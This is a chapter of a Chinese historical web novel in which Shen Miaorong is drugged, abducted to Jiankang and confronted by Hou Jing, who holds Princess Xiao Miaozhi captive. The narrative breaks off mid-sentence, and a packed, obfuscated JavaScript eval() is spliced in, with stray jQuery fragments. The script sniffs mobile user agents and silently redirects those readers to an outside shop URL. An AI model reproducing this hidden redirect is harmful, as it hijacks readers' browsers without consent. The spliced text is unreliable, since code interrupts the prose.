11. 殷忧不能寐,苦此夜难颓

作品:《此生难陈

    王顾两家的婚礼,宾客络绎不绝,男女分席,沈妙容坐在一众夫人小姐之间,默默等待。


    坐在她身边的是钱氏未出阁的小姐钱泰华,在沈妙容刚落座时,钱泰华便开始观察她。


    沈妙容正在喝茶,身边人突然开口:“沈姐姐许久不见,你依旧如此光彩夺目!”


    见是钱泰华,沈妙容微笑回应:“钱小姐,久违了。”


    钱泰华看向面前的屏风,感叹道:“时间过的真快,沈姐姐成婚半年了,如今顾姐姐也成婚了,往日的容光都做了男子的嫁衣,真是可惜。”


    沈妙容笑说道:“钱妹妹此言差矣,说往火堆里添薪更贴切些吧,我们这样的人家,哪里会被掩去荣光呢?我那故去的叔母便是你们钱家人,说到底还不是一家人么?”


    “是了,是了。”


    沈妙容的话挑不出错来,钱泰华附和了几句便不再多言。


    在吴兴,钱氏的势力是比不上沈氏,今日难得外出,也让沈妙容听见了一些外人对自己婚姻的看法,无非是觉得她嫁的不够好,嫁的不够高,惋惜也好,看戏也罢,都在她的预期之内。


    外人的闲话而已,也不能成了真,联姻其中的算计只要自己人明白就好。


    婚礼很顺利,顾昌君盖着盖头,沈妙容看不见她的脸,但是身上的嫁衣格外美丽奢华,是顾昌君喜欢的风格。


    王氏门第高贵,隔着屏风沈妙容可以隐约看出王义舟是个面貌端正的,单说门第和长相,王义舟和顾昌君甚是相配,都是士族出身,想必婚后就算不是如胶似漆,也是和睦恭敬的。


    这应该就是顾昌君想要的吧,她应该是无比幸福的,会和在闺中时一样快乐。


    拜堂后顾昌君被她的侍女项星扶着离开了众人的视线,其实到这里沈妙容今日参宴的目的已经达成了,看着往日的蜜友出嫁,后面的宴会只要随心的度过便可。


    离开王氏宅邸时已是夕阳西下,沈妙容饮了一些酒,面上有些绯红,坐在肩舆内闭目养神,侍女在一旁随行。


    王氏南下,在吴兴置办的宅邸位置一般,不过离陈府距离倒是不远,不过这回程的路似乎是走的有些久了,沈妙容随口问了句:“烔儿,还没到么?”


    肩舆外并没有传来回应,这让沈妙容瞬间警觉,烔儿总是有问必答,有求必应的,这种时候她不会走开,就算是走开了,还有其他跟着的婢女呢,不可能出现没人回话的情况啊!


    沈妙容再次开口:“先停一停,我有些不适。”


    肩舆减速,微微颠簸了一下,被放在了地上,怎么这时候又听话的停下了?沈妙容内心有些犹疑,是自己太多心了,不过这也太奇怪了。


    内心博弈了一下,沈妙容还是壮着胆子掀开了肩舆华丽厚重的帷帐,外面的景象也没有让她失望,阴暗的小道,面前是一个侍从打扮的陌生人,还不等她惊叫出声,便被那人用帕子捂住了嘴,帕子上有迷药,沈妙容很快就失去了意识。


    再睁眼,沈妙容眼前就是一片黑暗了,并非暗室,而是被蒙住了眼睛,微微动了动,才发现手脚也被绑住了。


    身上没什么力气,脑袋还有些眩晕,口很干,沈妙容轻咳了一声,试探周围是否有人。


    无人应答,知觉慢慢恢复,沈妙容在有限的范围内摸索了一下,发现身下的不是冰冷的地面,也不是山野草丛,呼吸之间还能闻到空气中焚香的气味。


    什么人绑架后会把人质放在这样好的环境里?


    沈妙容思索了片刻,心中有了大致的猜测,莫不是建康的人劫持了自己,想要用她来威胁陈氏的人?


    正想着,忽然听到开门声,而后是由远及近的脚步声,这个脚步声很轻,到沈妙容身前时还带着一阵香风。


    一个有些慌乱的声音在沈妙容耳边响起:“你醒了吗?我是来帮你的。”


    沈妙容没有回复,但那人却不管,用力割开了沈妙容身上的绳子,取下了蒙住她眼睛的布条。


    四目相对,眼前是一个侍女打扮的女子,但从她的气质便可看出这是一个乔装,而且莫名有些眼熟,沈妙容开口道:“你是谁,为什么帮我?”


    那女子面露难色,但是还是压着声音答道:“我是……萧妙淽。”


    此言一出,沈妙容便肯定了自己之前的猜想,自己的确是被绑架到建康了。


    萧妙淽是梁武帝的孙女溧阳公主,侯景叛乱后将其强取为自己的夫人,萧妙淽算得上是柳敬言的表姐,这两人气质上有些相像,所以让沈妙容觉得有些眼熟。


    真是造孽,眼前的这个少女比沈妙容还要小两岁,未到嫁娶的年纪,却被抢占为夫人。


    萧妙淽满脸慌张,催促道:“快和我走。”


    沈妙容缓缓起身,或许是因为长时间未进食,身上没有力气,站起来也有些勉强,见如此,萧妙淽直接拉着沈妙容的手臂绕过自己的后颈,搀着人往外走。


    明白萧妙淽不可能站在侯景那一边,但沈妙容总觉得不对,侯景的人费尽心机把自己从吴兴劫走,怎么可能不严加看管?怎么会让萧妙淽钻了空子,不过既然有可能还是试试吧。


    果然不等两人开门出去,门就被从外面打开了,一队持刀的士兵冲了进来,围住了两人。


    一个中年男子缓缓踏入室内,看着他微微跛足的步态,以及和中原人不同的凶狠长相,沈妙容明白,此人便是侯景。


    见到侯景,原先搀着沈妙容的人儿开始浑身颤抖,不自觉的往沈妙容怀里缩。


    沈妙容微微皱眉,原先架在萧妙淽肩上的手移到了大臂上,紧紧圈住了萧妙淽,扶住了她颤抖的身体,顺便借此稳住身体。


    见两人这副模样,侯景嘲讽的笑了笑,开口道∶“沈夫人终于醒了,本王的夫人年幼调皮,打搅你休息了,本王这就带她走。”


    沈妙容压低声音对萧妙淽说道∶“胁迫我,快。”


    萧妙淽听后马上拔下了头上的发簪,对准了沈妙容的脖子,动作倒是干脆,但是一张口声音依旧颤抖∶“你不要过来,你过来我就杀了她。”


    侯景依旧淡定,一双眼紧盯着萧妙淽,缓缓走向两人:“夫人,你只是一时好奇来看看吧,这样对待本王的贵客,恐怕……”


    “不要!”


    萧妙淽发出了尖锐的叫声,手上的簪子不自觉的收紧。


    沈妙容倒吸一口冷气,萧妙淽对侯景应激了,虽然能理解,见到一个强行霸占自己身体的人,但对自己来说要是萧妙淽一激动真把自己戳死了,那可就坏了。


    沈妙容抬


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125289|196038||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    手拉住了萧妙淽的手,稳住了她颤动的手,将簪子和自己的脖颈固定在一个安全的距离。


    侯景离两人越来越近,沈妙容能感受到萧妙淽的呼吸越来越急促,身体的颤抖也越来越明显。


    在侯景离两人还有三步距离时,他停下来了,只是顶着两人看,一言不发。


    忽的,萧妙淽将沈妙容猛的往后一推,手中的簪子直指侯景而去,沈妙容本就没什么力气,被她这样一推直接坐倒在了地上。


    眼前有些眩晕,等恢复正常再看去时,萧妙淽握着簪子的手已经被侯景牢牢的抓住。


    两人对视片刻了,侯景将人摔在了地上,冷声开口:“萧夫人累了,带她回去休息。”


    沈妙容缓缓的站起身,看着萧妙淽尖叫着被士兵带离,她的眼睛里满是怨恨,像是地狱里烧起的火,尖叫声凄厉无比,像地狱来索命的冤魂,让沈妙容毛骨悚然。


    萧妙淽,溧阳公主,先帝最宠爱的孙女……已经快要被侯景折磨疯了。


    侯景看着沈妙容缓缓开口:“沈夫人,本王为你准备了宴席,请你梳洗后前往。”


    说罢,带着士兵离开了,前脚刚走,一队侍女就涌入了室内,扶着沈妙容梳洗更衣。


    侍女将温水浇在沈妙容的身上,沈妙容却不觉得暖和,开口问周身的侍女:“可否告知如今是初几了?”


    侍女皱着眉头,神色有些惊恐,指了指自己的嘴巴,摇了摇头,沈妙容一愣,随即浑身恶寒,这是说不了话,没有舌头的意思……


    沈妙容不再多问,内心暗叹,侯景真是暴虐,来不及将宫人更换,又为了保证皇宫的正常运行,防止众人议论或背叛,居然割掉了他们的舌头,直接解决了闲言碎语的源头,加以震慑,让宫人不敢不服从。


    不敢想,要是让这样的人控制了国家,又得是如何水生火热的景象。


    梳洗更衣后侍女将沈妙容带到了一处宫殿内,宫殿里摆着丰盛的宴席,美酒佳肴,还有乐师奏乐。


    沈妙容刚踏入宫殿之中,身后的门就轰然关闭。


    侯景就坐在首席,一双如恶鹰一般的眼正盯着沈妙容。


    沈妙容知道自己没有退路,也知道自己是侯景威胁陈昙蒨的人质,他不敢动自己,便做出从容之态加入了宴席。


    见沈妙容的姿态,侯景笑道:“沈夫人倒是勇气可嘉,如此情形夫人不惧怕吗?”


    沈妙容微微勾唇,直视侯景,回道:“美酒佳肴,何惧之有?”


    侯景笑了笑:“既如此,沈夫人,请用吧。”


    沈妙容果真吃了起来,毕竟她是真的又饿又渴。


    吃的差不多了,侯景挥了挥手,示意一旁的宫女前来斟酒,开口问道:“夫人不怕是鸿蒙宴么?”


    “鸿门宴?”沈妙容笑了,“鸿门宴倒是不错,项羽宴刘邦,项羽为主,刘邦为客,最后客人刘邦得了天下,侯将军如此说,是要把天下让给我吗?”


    知道自己对侯景有用,沈妙容也不拘着,什么毒说什么。


    此言一出,侯景的脸色果然变了变,但还是忍下了:“沈夫人说话倒是有趣的很,那陈子华真是好福气啊,娶了一个貌若天仙,伶牙俐齿的回家。”


    沈妙容微笑回应:“侯将军谬赞了。”